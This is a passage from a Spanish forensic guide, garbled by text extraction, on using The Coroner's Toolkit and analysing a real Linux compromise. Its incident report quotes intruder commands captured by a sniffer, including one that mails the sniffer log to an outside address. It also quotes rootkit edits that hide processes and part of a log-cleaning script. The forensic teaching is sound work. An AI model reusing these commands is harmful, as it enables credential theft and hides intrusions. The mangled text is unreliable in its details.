ldd chxlibcryptso1 =gt liblibcryptso1 (0x40018000)libpamso0 =gt liblibpamso0 (0x40045000)libdlso2 =gt liblibdlso2 (0x4004d000)libpam_miscso0 =gt liblibpam_miscso0 (0x40050000)libcso6 =gt liblibcso6 (0x40054000)libld-linuxso2 =gt libld-linuxso2 (0x40000000)

El binario depende del moacutedulo PAM y de las libreriacuteas criptograacuteficas Entonces el binario efectuacutea algunas tareas deautenticacioacuten de usuarios El binario parece ser el binlogin modificado que pertenece a alguacuten caballo de Troya

Normalmente los intrusos no dejan huellas evidentes que nos permiten encontrar ficheros y directorios El ejemploanterior nos ha probado que utilizando herramientas baacutesicas podemos reunir bastante informacioacuten

En caso de que no sea tan sencillo se deberaacute utilizar herramientas maacutes complejas y eficaces Para ver alguacuten ejemplocomplejo podemos ver referencias [14 15]

8 The Coronerrsquos ToolkitThe Coronerrsquos Toolkit (o el TCT) es un suite de aplicaciones escritas por Dan Farmer y Wietse Venema para uncurso organizado por IBM sobre un estudio forense de equipos comprometidos

Las aplicaciones maacutes importantes del suite son

26

bull grave-robber - Una utilidad para capturar informacioacuten sobre inodes para luego pueda ser procesada por elprograma mactime del mismo toolkit

bull unrm y lazarus - Herramientas para la recuperacioacuten de archivos borrados (logs RAM swap etc) Estasaplicaciones identifican y recuperan la informacioacuten oculta en los sectores del disco duro

bull mactime - El programa para visualizar los ficherosdirectorios su timestamp MAC (Modification Access yChange)

De todas esas herramientas las maacutes uacutetiles y interesantes son grave-robber y mactime unrm y lazarus son buenas si setiene mucho tiempo y espacio libre en el disco ya que el programa necesita identificar informacioacuten en los sectores deldisco para recuperar los ficheros (logs fuentes etc) borrados por los intrusos

La funcioacuten maacutes baacutesica de grave-robber es de escanear algunas o todas sistemas de ficheros con funcioacuten stat() paraobtener informacioacuten de los inodes Grave-robber crea en la carpeta data un directorio llamado como el nombredel host de la maacutequina y alliacute almacena los inodes dentro del fichero body El programa mactime luego ordena losresultados y los muestra seguacuten el tiempo cual de los tres timestamps corresponde muestra el tipo de fichero tamantildeoy a quieacuten pertenece junto con el path

Desde el listado podremos sacar algunas conclusiones sobre la actividad que ha ejercido el intrusolos intrusos duranteel tiempo que estuvieron dentro del sistema Eso puede incluir instalacioacuten de caballos de Troya backdoors sustitucioacutende ficheros legiacutetimos del sistema operativo descarga de herramientas modificacioacuten de las libreriacuteas del sistema oinstalacioacuten de rpmrsquosdebrsquospkgrsquos etc Tambieacuten podemos ver desde aquiacute la creacioacuten de directorios ocultos ejecucioacutende los comandos de sistema operativo compilacioacuten y ejecucioacuten de aplicaciones Toda esa informacioacuten que nunca sealmacena de forma directa puede ser extraiacuteda de la informacioacuten que da mactime

9 Usando TCTAhora paso por paso intentaremos instalar la aplicacioacuten The Coroners Toolkit que nos serviraacute para recoger lainformacioacuten sobre el sistema de ficheros y analizarla La herramienta no es un ejecutable que realiza todas las tareassino es una coleccioacuten de utilidades disentildeadas para efectuar una tarea determinada siendo importante entender elfuncionamiento de cada una de ellas para poder entender la funcioacuten del toolkit en su totalidad

bull El primer paso es de desempaquetar el archivo tct-109targz y copiarlo al directorio usrlocaltct-109 luegodebemos leer detenidamente el fichero de instrucciones de instalacioacuten INSTALL

La instalacioacuten de la aplicacioacuten debe ser realizada en una particioacuten donde haya mucho espacio ya que algunasaplicaciones suelen generar una cantidad grande de informacioacuten de salida por ejemplo unrm y lazarus

bull Ahora reconfiguremos los scripts utilizando perl reconfig ya que TCT utiliza rutas completas

27

bull Limpiamos bien la distribucioacuten con un make clean make all

bull Leemos documentacioacuten del directorio docs para conocer los detalles de funcionamiento del Toolkit

1 ls -l docs

total 34-rw-r--r-- 1 root root 8572 Mar 28 1241 README-rw-r--r-- 1 root root 7162 Mar 28 1239 grave-robberREADME-rw-r--r-- 1 root root 13944 Jan 16 1334 lazarusREADME-rw-r--r-- 1 root root 2830 Mar 27 1507 macREADME

bull Montamos la particioacuten que debemos analizar en modo solo lectura y nodev bajo alguacuten punto de montura

mount -r devhdd2 mnt

bull Suponiendo que siendo root arrancamos la aplicacioacuten grave-robber para que empiece a analizar el sistema de fiche-ros y procesos y guardar los datos de los inodes en el fichero dataactivalinkcombase y dataactivalinkcombaseS(binarios sUID) el estado del sistema en el directorio dataactivalinkcomcommand_out etc

bingrave-robber -m mnt

Grave-robber inicialmente realizaraacute un anaacutelisis de todas las carpetas que estaacuten en el $PATH y a continuacioacuten empezaraacutea analizar la particioacuten montada mnt El anaacutelisis suele tardar bastante tiempo seguacuten el tamantildeo de la particioacuten quequeremos analizar Aparte de los inodes se guarda el estado general del sistema es decir el output de las herramientasde monitorizacioacuten del sistema como ps top w etc

bull Una vez terminado el trabajo del grave-robber copiamos los ficheros passwd y group del sistema comprometidoal directorio tct-109 para que los tengamos a mano ya que en breve estaremos analizaacutendolos Para que se puedadistinguirlos luego renombramos estos ficheros passwdvictim o utilicemos el nombre del host comprometido

bull Ejecutamos luego la utilidad mactime especificando una fecha anterior del compromiso (consideremos que laactividad del intruso ha acabado hoy pero no vamos a especificar hora) Necesitaremos pasar los resultados deejecucioacuten de mactime a un fichero para que luego se pueda examinar su contenido con tranquilidad

28

binmactime -p passwdvictim -g groupvictim mnt 06012000 gt victimmactime

En la utilidad mactime hubo un bug en las versiones anteriores que haciacutea que la aplicacioacuten no funcione correctamente sise utilizaba la opcioacuten -p Entonces haciacuteamos un work around incorporando temporalmente el contenido del ficheroetcpasswd de la maacutequina viacutectima coincidir con eacutel de nuestro sistema En la versioacuten actual este bug estaacute solucionado

bull Hacemos una copia del fichero antes de empezar el anaacutelisis

cp victimmactime victimmactimeevidence

bull Entonces podemos empezar analizando el fichero victimmactimeevidence Usando el editor de texto favoritoempecemos a revisarlo y marcar la actividad sospechosa Sugiero que pongamos los tags [MARK] para que luegocon grep podamos localizar nuestros apuntes

Feb 13 2000 011050 50148 mca -rwxr-xr-x root root xdevFeb 13 2000 011052 564 mc -rw-r--r-- root root xetcprofileFeb 13 2000 011100 5 mac -rw-r--r-- root root xlibsp

18110 a -rw-r--r-- root root xlibtp[MARK]Feb 13 2000 011208 0 c -rw-r--r-- root root xdevttyag

25 c -rwxr-xr-x root root xdevttyfg23 c -rwxr-xr-x root root xdevttypg

373176 c -rws--x--x root root xlib8268 c -rwxr-xr-x root root xlibgo

20164 c -rwsr-xr-x root root xusrbinxcat183780 c -rwxr-xr-x root root xusrsbinfind

Feb 13 2000 013000 8268 a -rwxr-xr-x root root xlibgoFeb 14 2000 104203 1166856 a -rw-r--r-- root root xvarlogbootlog[MARK]Feb 14 2000 104535 18110 mc -rw-r--r-- root root xlibtpFeb 14 2000 105742 2998 mc -rw-r--r-- root root xetcinetdconf~Feb 14 2000 110147 168 a -rw-rw-r-- root root xrootsaves-1380-dragon~

Feb 14 2000 111838 160 mc -rw-r--r-- root root xetchostsallowoldFeb 14 2000 111855 347 mc -rw-r--r-- root root xetchostsdenyoldFeb 14 2000 111908 8 mc -rw-r--r-- root root xetchostsdenyFeb 14 2000 112253 168 mc -rw-rw-r-- root root xrootsaves-1380-dragon~

29

Feb 14 2000 113030 2998 a -rw-r--r-- root root xetcinetdconf~[MARK]Feb 14 2000 113125 20164 a -rwsr-xr-x root root xusrbinxcatFeb 14 2000 113410 868 mc -rwxr-xr-x root root xetcrcdrclocal

bull Despueacutes de repasar todo el listado de cambios histoacutericos puede que tengamos alguna pista para seguir o puedeque no En el peor de los casos debemos modificar la fecha especificada y cambiarla a la anterior del compromisointentaacutendolo de nuevo o mirar maacutes detenidamente Durante el examen del documento se prohibe distraerse ya quela concentracioacuten es muy importante en este momento

bull Otra opcioacuten es recuperar ficheros borrados con el la utilidad unrm y luego examinarlos con el programa stringsLas dos utilidades unrm y lazarus generan muchiacutesima informacioacuten y debemos tener bastante espacio libre enla particioacuten Podemos determinar la cantidad de espacio en disco duro que necesitamos calculando de formaaproximada a partir del informe de df

df mntFilesystem 1k-blocks Used Available Use Mounted ondevhdb2 3028881 1604551 1267697 56 mnt

En nuestro ejemplo df muestra que tenemos 1267697 bloques sin ocupar que significa que unrm puede llegar a generaraproximadamente 12 Gb de informacioacuten Encontremos una particioacuten libre y almacenemos alliacute el dump (Importanteen el ejemplo utilizo el punto de montura del sistema comprometido y no del sistema de anaacutelisis)

binunrm devhdb2 gt datavictimhda2unrm

bull Pero si disponemos de maacutes espacio (maacutes de 12Gb) y mucho maacutes tiempo para practicar con lazarus que procesaraacuteel espacio libre en el disco duro y intentaraacute recuperar ficheros por sus tipos lazarus genera una salida en formatoHTML que nos va a dar la oportunidad de verla a traveacutes del navegador

30

10 Ejemplo de Informe de Pruebas EncontradasAhora vamos a examinar un informe completo de actividad dellos intrusos en el sistema El informe fue obtenido trasanalizar los ficheros log de los sniffers intentos de acceso timestamps en el sistema de ficheros y el contenido de lasparticiones de varios sistemas involucrados en el incidente Es un informe real soacutelo que estaacute omitida la informacioacutenque identifica el sistema atacado

A continuacioacuten es un informe de anaacutelisis de la particioacuten root del sistema 2121022557 la informacioacuten aparece talcomo fue encontrada despueacutes de poner el disco off-line una vez descubierto el compromiso por sospecha de tenerejecutaacutendose un sniffer Una copia de sistema de ficheros estaacute disponible en formato targz en el cdrom ISO 9660CD-R

La maacutequina 2121022557 fue una de las 19 sospechosas de estar comprometida por el mismo grupo de intrusosalrededor de 10-09-2001 utilizando Linux mountd buffer overflow bug documentado en el CERT Advisory CA-9812httpwwwcertorgadvisoriesCA-9812mountdhtml

El disco duro fue analizado utilizando herramientas creadas por Dan Farmer y Wietse Venema llamadas CoronerrsquosToolkit (httpwwwfishcomsecurityforensicshtml) En el sistema de anaacutelisis el disco aparece como dispositivodevhdc La primera particioacuten devhdc1 fue montada en modo solo lectura bajo el punto de montura x Comoresultado de ello todas las rutas seraacuten precedidas por esa cadena La geometriacutea del disco duro es la siguiente

Disk devhdc 32 heads 63 sectors 825 cylindersUnits = cylinders of 2016 512 bytes

Device Boot Start End Blocks Id Systemdevhdc1 1 793 799312+ 83 Linuxdevhdc2 794 825 32256 82 Linux swap

Como la mayoriacutea de los accesos al servidor empezaron el diacutea 09 del Sep la fecha previa del anaacutelisis forense fue tomadacomo 28 Ago No se observan huellas obvias de modificacioacuteninstalacioacuten de ficheros que indica que el sistema fueaccedido entre Sep 01 y Sep 04 El diacutea Sep 04 ha sido modificado el demonio r de Berkeley (inrlogind)

Sep 04 01 234221 23421 m -rwxr-xr-x root root xusrsbininrlogind

El examen del contenido del fichero a traveacutes de la utilidad strings muestra que es un caballo de Troya que contienelos mismos strings que han sido encontrados en los ficheros del grupo XXXXXXX

31

rlogindahLlnXXXXXXXXCanrsquot get peer name of remote host mCanrsquot get peer name of remote hostsetsockopt (SO_KEEPALIVE) msetsockopt (IP_TOS) mhname = NULLrlogindc

Pasados ocho diacuteas se observa una modificacioacuten en el demonio y ejecucioacuten de chown

Sep 12 01 110410 23421 c -rwxr-xr-x root root xusrsbininrlogindSep 12 01 110411 8156 a -rwxr-xr-x root bin xbinchown

Pasada media hora el fichero fuente linsniffc se copia en un directorio oculto bajo etc El directorio se llamaetc (punto-punto-espacio-espacio-espacio lo que nosotros convertiremos en etc___ para ver maacutes claramenteel directorio en los listados El programa luego se compila Vemos que los ficheros de cabeceras que tienen que vercon las funciones de red han sido accedidos y el binario se mueve al usrsbintelnetd

Despueacutes de cuatro minutos se produce un acceso a traveacutes del protocolo FTP (observando el acceso al wuftpd y sufichero id de proceso)

Sep 12 01 113659 5127 mc -rw-r--r-- root root xetc___linsniffcSep 12 01 113708 4967 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxifh

3143 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_arph

3145 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_etherh

1910 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxiph

2234 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxrouteh

1381 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtcph

Sep 12 01 113710 2048 c drwxr-xr-x root bin xusrsbinSep 12 01 113714 2048 m drwxr-xr-x root bin xusrsbinSep 12 01 113715 8179 mc -rwxr-xr-x root root xusrsbintelnetdSep 12 01 113748 8179 a -rwxr-xr-x root root xusrsbintelnetdSep 12 01 114152 77476 a -rwxr-xr-x root bin xusrsbinwuftpd

32

Sep 12 01 114208 4096 mac -rw-r--r-- root root xvarpidftppids-remote

Esa actividad se confirma recuperando el fichero eliminado de log desde la particioacuten root

Sep 12 113305 2001 intelnetd[1290] connect from cromanionwashingtoneduSep 12 113316 2001 login 1 LOGIN FAILURE FROM cromanionwashingtonedu 502Sep 12 113321 2001 login 2 LOGIN FAILURES FROM cromanionwashingtonedu 502

Sep 12 113402 2001 su quaker on devttyp1Sep 12 114152 2001 wuftpd[1327] connect from lotherdalewashingtoneduSep 12 114157 2001 ftpd[1327] USER snoopSep 12 114159 2001 ftpd[1327] PASS passwordSep 12 114200 2001 ftpd[1327] SYSTSep 12 114201 2001 ftpd[1327] CWD tmpSep 12 114206 2001 ftpd[1327] TYPE ImageSep 12 114206 2001 ftpd[1327] PORTSep 12 114206 2001 ftpd[1327] STOR mountdSep 12 114208 2001 ftpd[1327] QUITSep 12 114208 2001 ftpd[1327] FTP session closedSep 12 120025 2001 intelnetd[1342] connect from cromanionwashingtoneduSep 12 120025 2001 telnetd[1342] ttloop peer died Try again

Desde lo que podemos observar se realiza una descarga de un exploit mountd mencionado anteriormente Tambieacutenpodemos conocer que el intruso tiene una cuenta en el sistema cromanionwashingtonedu [21512102] que normal-mente utiliza entre 143305 y 150025 EST

Los strings del fichero usrsbintelnetd muestran que es un sniffer El fichero log del sniffer es tcplog (pordefecto)

cant get SOCK_PACKET socketcant get flagscant set promiscuous mode----- [CAPLEN Exceeded]----- [Timed Out]----- [RST]----- [FIN]s =gt s [d]eth0tcplogcant open logExiting

33

El diacutea 13 de Sep otro programa que incorpora funciones de red se compila que hace uso de muchos maacutes recursosque el sniffer (ya que carga maacutes libreriacuteas) El hecho que el binario no aparece con fecha de modificacioacuten o cambiopuede indicar que el binario fue ejecutado y eliminado por el intruso (otros intrusos o el administrador) para ocultarsu presencia del equipo de administracioacuten del servidor

Sep 13 01 100146 55492 a -rwxr-xr-x root root xusrbingcc6211 a -rw-r--r-- root root xusrincludestdioh

92696 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cpp

1003 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270specs

Sep 13 01 100147 2767 a -rw-r--r-- root root xusrinclude_G_configh

1441 a -rw-r--r-- root root xusrincludeallocah2040 a -rw-r--r-- root root xusrincludeconfnameh

1267 a -rw-r--r-- root root xusrincludeerrnoh4186 a -rw-r--r-- root root xusrincludefeaturesh

4434 a -rw-r--r-- root root xusrincludegnutypesh

7917 a -rw-r--r-- root root xusrincludelibioh380 a -rw-r--r-- root root xusrincludeposix_opth

4419 a -rw-r--r-- root root xusrincludesignalh15134 a -rw-r--r-- root root xusrincludestdlibh

7537 a -rw-r--r-- root root xusrincludestringh3909 a -rw-r--r-- root root xusrincludesyscdefsh

4538 a -rw-r--r-- root root xusrincludesyssocketh

321 a -rw-r--r-- root root xusrincludesystypesh

25129 a -rw-r--r-- root root xusrincludeunistdh8841 a -r--r--r-- root root xusrlibgcc-libi486-linux270includestddefh

1029 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386typesh

6298 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxerrnoh

2065 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsignalh

34

2794 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsocketh

3846 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsockiosh

2621 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtypesh

Sep 13 01 100148 3668 a -rw-r--r-- root root xusrincludearpaineth

734 a -rw-r--r-- root root xusrincludebytesexh1555 a -rw-r--r-- root root xusrincludeendianh3248 a -rw-r--r-- root root xusrincludelimitsh6390 a -rw-r--r-- root root xusrincludenetdbh2663 a -rw-r--r-- root root xusrincludenetinetinh

3562 a -rw-r--r-- root root xusrincludepathsh2643 a -rw-r--r-- root root xusrincludeposix1_limh

2680 a -rw-r--r-- root root xusrincludeposix2_limh

3777 a -rw-r--r-- root root xusrincludesysbitypesh

709 a -rw-r--r-- root root xusrincludesysparamh

2315 a -rw-r--r-- root root xusrincludesystimeh

5273 a -rw-r--r-- root root xusrincludesyswaith

2852 a -rw-r--r-- root root xusrincludetimeh1156 a -rw-r--r-- root root xusrincludewaitflagsh

3724 a -rw-r--r-- root root xusrincludewaitstatush

1418196 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cc1

3049 a -rw-r--r-- root root xusrlibgcc-libi486-linux270includelimitsh

330 a -r--r--r-- root root xusrlibgcc-libi486-linux270includesyslimitsh

2101 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386byteorderh

266 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386paramh

3965 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxinh

720 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxlimitsh

35

78 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxparamh

1146 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtimeh

313 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxversionh

698 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxwaith

Sep 13 01 100157 117668 a -rwxr-xr-x root bin xusrbinasSep 13 01 100158 145695 a -rwxr-xr-x root bin xusrbinldSep 13 01 100159 1088 a -rw-r--r-- root root xusrlibcrt1o

1216 a -rw-r--r-- root root xusrlibcrtbegino1212 a -rw-r--r-- root root xusrlibcrtendo

624 a -rw-r--r-- root root xusrlibcrtio396 a -rw-r--r-- root root xusrlibcrtno

204146 a -rw-r--r-- root root xusrlibgcc-libi486-linux270libgcca

El diacutea 14 se ejecuta un cliente de ftp ncftp

Sep 14 01 004250 146881 a -rwxr-xr-x root bin xusrbinncftp

Los iacutendices de acceso del sistema cromanionwashingtonedu (aka cromanion) muestran un login al siste-ma quakerwashingtonedu (aka quaker) a las 1403 del horario EST o +0300 horas maacutes de PST) lo quedescribe las conexiones de las maacutequinas lotherdalewashingtonedu XXXXXXXXXXXXXwashingtonedu yXXXXXXXXXXXXwashingtonedu

XXX ftp XXXXXXXXXXXXXXX Sat Sep 14 0346 - 0408 (0021)XXX ftp XXXXXXXwashingt Sat Sep 14 0346 - 0346 (0000)XXX ftp XXXXXXXXXXXXXX Sat Sep 14 0338 - 0340 (0002)XXX ftp XXXXXXXXXXXXXwa Sat Sep 14 0337 - 0339 (0002)XXX ftp XXXXXXXXXXXXwas Sat Sep 14 0319 - 0320 (0000)

Hay solo una ocurrencia de utilizacioacuten del comando ncftp registrada por el sniffer el diacutea 14 del Sep (liacutenea 347 entcplog) Tambieacuten podemos encontrar huellas de otra conexioacuten del XXXXXXXXXXXX

XXXXXXXXXXXXXwashingtonedu =gt XXXXXXXwashingtonedu [23]rsquoW$ 3840038400vt100bdoor

passwordw

36

su r00tcd etvccd lscat etc tcplog | mail hackeraccounthotmailcomcat etc tcplog | mail hackeraccounthotmailcomncftp -u lscp tcplog 1lsncftp -y XXXXXX[A[D[D[D[D[D[D[D[Du

----- [Timed Out]

El log de la sesioacuten anterior muestra que el fichero log del sniffer ha sido enviado a una direccioacuten de correo electroacutenicoDespueacutes de cuatro horas alguien emite un comando whoami y luego antildeade y elimina algunos ficheros dentro deldirectorio oculto

Sep 14 01 040742 3797 a -rwxr-xr-x root bin xusrbinwhoamiSep 14 01 040818 1024 mc drwxr-xr-x root root xetc___

El diacutea 14 del Sep se ejecuta el binario inidentd Este servicio sirve para asociar el nombre de usuario con un intentode conexioacuten a un servicio remoto Esta aplicacioacuten se utiliza por algunas redes de IRC Puede significar que alguienrealizoacute una conexioacuten a un servidor IRC desde la maacutequina comprometida

Tambieacuten tuvieron lugar varias conexiones al servidor POP de correo inpop3d al servicio Berkeley r inrlogindy una conexioacuten al servicio NFS rpcmountd Una vez establecida la conexioacuten se ejecutoacute el comando id (este es unvestigio de un exloit ADM mountd buffer overrun)

El exploit suele crear un shell iniciado a partir del UID del servicio NFS mountd que suele ser UID=0 El intrusoaprovechando del shell crea un directorio vartmpXXXXX y instala varias puertas traseras utilidades para limpiarlos ficheros log y un sniffer Modificacioacuten de algunos ficheros log indican que a la hora de entrada se ejecutaron lasutilidades de eliminacioacuten de huellas (zapper) que restablecieron el tamantildeo del fichero log a 0 bytes

Sep 14 01 202514 13004 a -rwxr-xr-x root bin xusrsbininidentdSep 14 01 222452 15029 a -rwxr-xr-x root bin xusrsbininpop3dSep 15 01 022224 23421 a -rwxr-xr-x root root xusrsbininrlogindSep 15 01 022307 25217 a -rwxr-xr-- root bin xusrsbinrpcmountdSep 15 01 022308 7705 a -rwxr-xr-x root bin xusrbinidSepX 15 01 022422 28550 mac -rwxr-xr-x root root xvartmpXXXXXprogramsfix

37

13508 a -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

Sep 15 01 022423 13508 mc -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

1375 mac -rwxr-xr-x root root xvartmpXXXXXprogramsreadme

Sep 15 01 022439 26314 mc -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 mc -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022441 26314 a -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 a -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022443 1126 mc -rwxr-xr-x root root xvartmpXXXXXprogramsclean

XX mac -rwxr-xr-x root root xvartmpXXXXXprogramsimapdis

Sep 15 01 022459 4665 a -rwxr-xr-x root bin xusrbinbasenameSep 15 01 022503 0 mac -rw-r--r-- root root xvarlogcronSep 15 01 022504 0 ma crw-rw-rw- root root xdevttyp3Sep 15 01 022506 0 a -rw-r--r-- root root xvarlogdebugSep 15 01 022508 0 a -rw-r--r-- root root xvarloglastlogSep 15 01 022512 2699 a -rw-r--r-- root root xvarlogsyslogSep 15 01 022515 131968 a -rwxr-xr-x root bin xusrbingawk

5941 a -rwxr-xr-x root bin xusrbinwc0 a -rw-r--r-- root root xvarlogxferlog

1024 mc drwxr-xr-x root root xvartmpXXXXX1126 a -rwxr-xr-x root root xvartmpXXXXXprogramsclean

Sep 15 01 022554 2802 mc -rwxr-xr-x root root xetcrcdrcinet2Sep 15 01 022613 12288 mc -rw-rw-r-- root root xetcpsdevtabSep 15 XX 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPSSep 15 01 022837 0 a crw-rw-rw- root root xdevptyp2Sep 15 01 022838 0 mc crw-rw-rw- root root xdevptyp2

0 mac crw-rw-rw- root root xdevttyp2Sep 15 01 022958 0 mc -rw-r--r-- root root xvarloglastlogSep 15 01 023006 0 mc -rw-r--r-- root root xvarlogxferlogSep 15 01 023103 66973 a -rwxr-xr-x root bin xbintelnetSep 15 01 023501 1024 mc drwxr-xr-x root root xvarlog

0 mac -rw-r--r-- root root xvarlogsulogSep 15 01 023516 0 mc -rw-r--r-- root root xvarlogdebug

38

Sep 15 01 023551 0 ma crw-rw-rw- root root xdevptyp3Sep 15 01 023552 0 c crw-rw-rw- root root xdevptyp3

0 c crw-rw-rw- root root xdevttyp3Sep 15 01 032157 1649 m -rw-r--r-- root root xetcpasswdOLDSep 15 01 032224 7317 a -rwxr-xr-x root bin xbinkillallSep 15 01 032240 58605 a -rwxr-xr-x root bin xbinps

25 a -rw-r--r-- root root xdevXXXXXXXXPS

La siguiente actividad aparece en la liacutenea 471 en tcplog (el fichero log del sniffer entre 14 Sep 0346 de la liacutenea 348y 17 Sep 2013 desde la fecha de uacuteltima modificacioacuten del fichero)

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [143]

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXXlinux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXX-linux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootr00tlinux38400t----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [23]rsquoP$ 3840038400linuxXXXXX

XXX

39

r00tfingercd vartmpls -alrm -rf bashftp XXXXXXXXXXXXanonymousassget XXXXtgzquituittar zxvf XXXXtgzchmod +x INSTALLls -al

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt GGGGGGGXXXXXXXXXXXXX [23]rsquoP$ 3840038400linuxr00t

pico etcrcdircinetd2rpcmomomomountd[A11mountd[A2pmountd[A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C [B[D[D[B[D[B[D ypico etcinetdconf[6~[6~killall -HUP inetdcat etcinetdconfps auxkill -9 cd devmkdir XXXXXXXXcd XXXXXXXXpico LSXXXXXXXXXXXXXypico PS3 bindshell3 linsnifferyps auxkill -9 2541f

40

----- [Timed Out]

Eso muestra que el intruso estaba editando el fichero de configuracioacuten del rootkit referente al modus operandi de lautilidad ls (llamado LS) para esconder ficherosdirectorios con cadenas XXXXXX yo JJJJJJJJ en sus nombresTambieacuten ha modificado el fichero de configuracioacuten del rootkit para la utilidad ps (llamado PS) para esconder procesosbindshell y linsniffer en sus nombres

La letra y que aparece en las cadenas XXXXXXy y linsniffery son huellas del usuario que nos informan que hasido utilizado el editor pico El comando para guardar las modificaciones en los ficheros y salir en pico es Ctrl-X Siel fichero ha sido modificado de alguna forma el siguiente texto aparece

Save modified buffer (ANSWERING No WILL DESTROY CHANGES)

El usuario entonces debe teclear la letra y para guardar el fichero y salir El sniffer no captura el mensaje delsistema pero siacute el y Las entradas log del sniffer aquiacute muestran que se creoacute el directorio XXXXXXXX doacutende fueroninsertados los ficheros de configuracioacuten del rootkit y editados en siguiente orden Podemos observarlo en el listado demactime posiblemente atando este evento al diacutea 15 del XXX a las 0226

Sep 15 01 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPS

El diacutea 16 del Sep alguien crea una copia de seguridad del log del sniffer (snifferlogsave) movieacutendolo al directoriovartmpXXXXprograms Este fichero muestra los intentos de entrada de otros intrusos que tambieacuten acceden alfichero tcplog

Sep 16 01 215534 36088 a -rwxr-xr-x root bin xbinnetstatSep 16 01 215827 1024 mc drwxrwxrwx root root xvartmpSep 16 01 215852 6 a -rw-r--r-- root root xroottemptxtSep 16 01 225033 1024 a drwxr-xr-x root root xvartmpXXXXXSep 16 01 225102 6644 a -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 16 01 225716 1024 a drwxr-xr-x root root xvartmpXXXXXprograms

Sep 16 01 233951 1024 mc drwxr-xr-x root root xvartmpXXXXXprograms

4992 mac -rw-r--r-- root root xvartmpXXXXXprogramssnifferlogsave

41

El fichero roottemptxt contiene la uacutenica palabra blah en la liacutenea y una liacutenea en blanco Actualmente no se conocepara que sirvioacute el fichero El diacutea 17 del XXX se modifica la contrasentildea de alguacuten usuario se crea un fichero de copiade seguridad

Sep 17 01 124450 153384 a -rws--x--x root bin xusrbinpasswdSep 17 01 124505 1649 mc -rw-r--r-- root root xetcpasswd

1649 c -rw-r--r-- root root xetcpasswdOLD

A continuacioacuten el diacutea 17 del Sep alguien accede al servidor a traveacutes de telnet Por lo visto se obtiene el UIDdel usuario lp Modificaciones en devconsole indican que ocurrioacute tambieacuten una entrada de usuario en la consolafiacutesica Fechas de modificacioacuten han sido cambiadas en la aplicacioacuten de los logs del sniffer etc__tcplog y tambieacutenvartmpXXXXXprogramssnifferlog que significa que las aplicaciones han sido desactivadas

Sep 17 01 201344 296 a -rw-r--r-- root root xetchostsdeny40907 a -rwxr-xr-x root bin xusrsbintcpd

Sep 17 01 201345 40685 a -rwxr-xr-x root bin xusrsbinintelnetd25 mc -rw-rw-r-- root root xvarspoollp1status

Sep 17 01 201346 0 m crw-rw-rw- root root xdevconsole0 a crw-rw-rw- root root xdevptyp00 m crw-rw-rw- root root xdevttyp0

18476 mc -rw-r--r-- root root xetc___tcplog6644 mc -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 17 01 201350 0 c crw-rw-rw- root root xdevconsole0 c crw-rw-rw- root root xdevptyp00 c crw-rw-rw- root root xdevttyp0

El diacutea 18 de Sep se ejecuta la aplicacioacuten sendmail Las huellas en el sistema de ficheros nos muestran queposiblemente se envioacute a una direccioacuten de correo electroacutenico el fichero log del sniffer tcplog

Sep 18 01 053026 164060 a -r-sr-Sr-x root bin xusrsbinsendmail

Aparte de analizar el sistema de ficheros con detenimiento se han recuperado todos los ficheros eliminados utilizandola utilidad unrm de TCT Una examen de los ficheros recuperados mostroacute eliminacioacuten de algunos ficheros log yscripts El siguiente es una parte del script de instalacioacutenlimpieza que estaacute incluido con el rootkit

cp vartmpimap-d vartmpXXXXXprogramsimapdisrm -rf vartmpimap-decho 6 cleaning logs

42

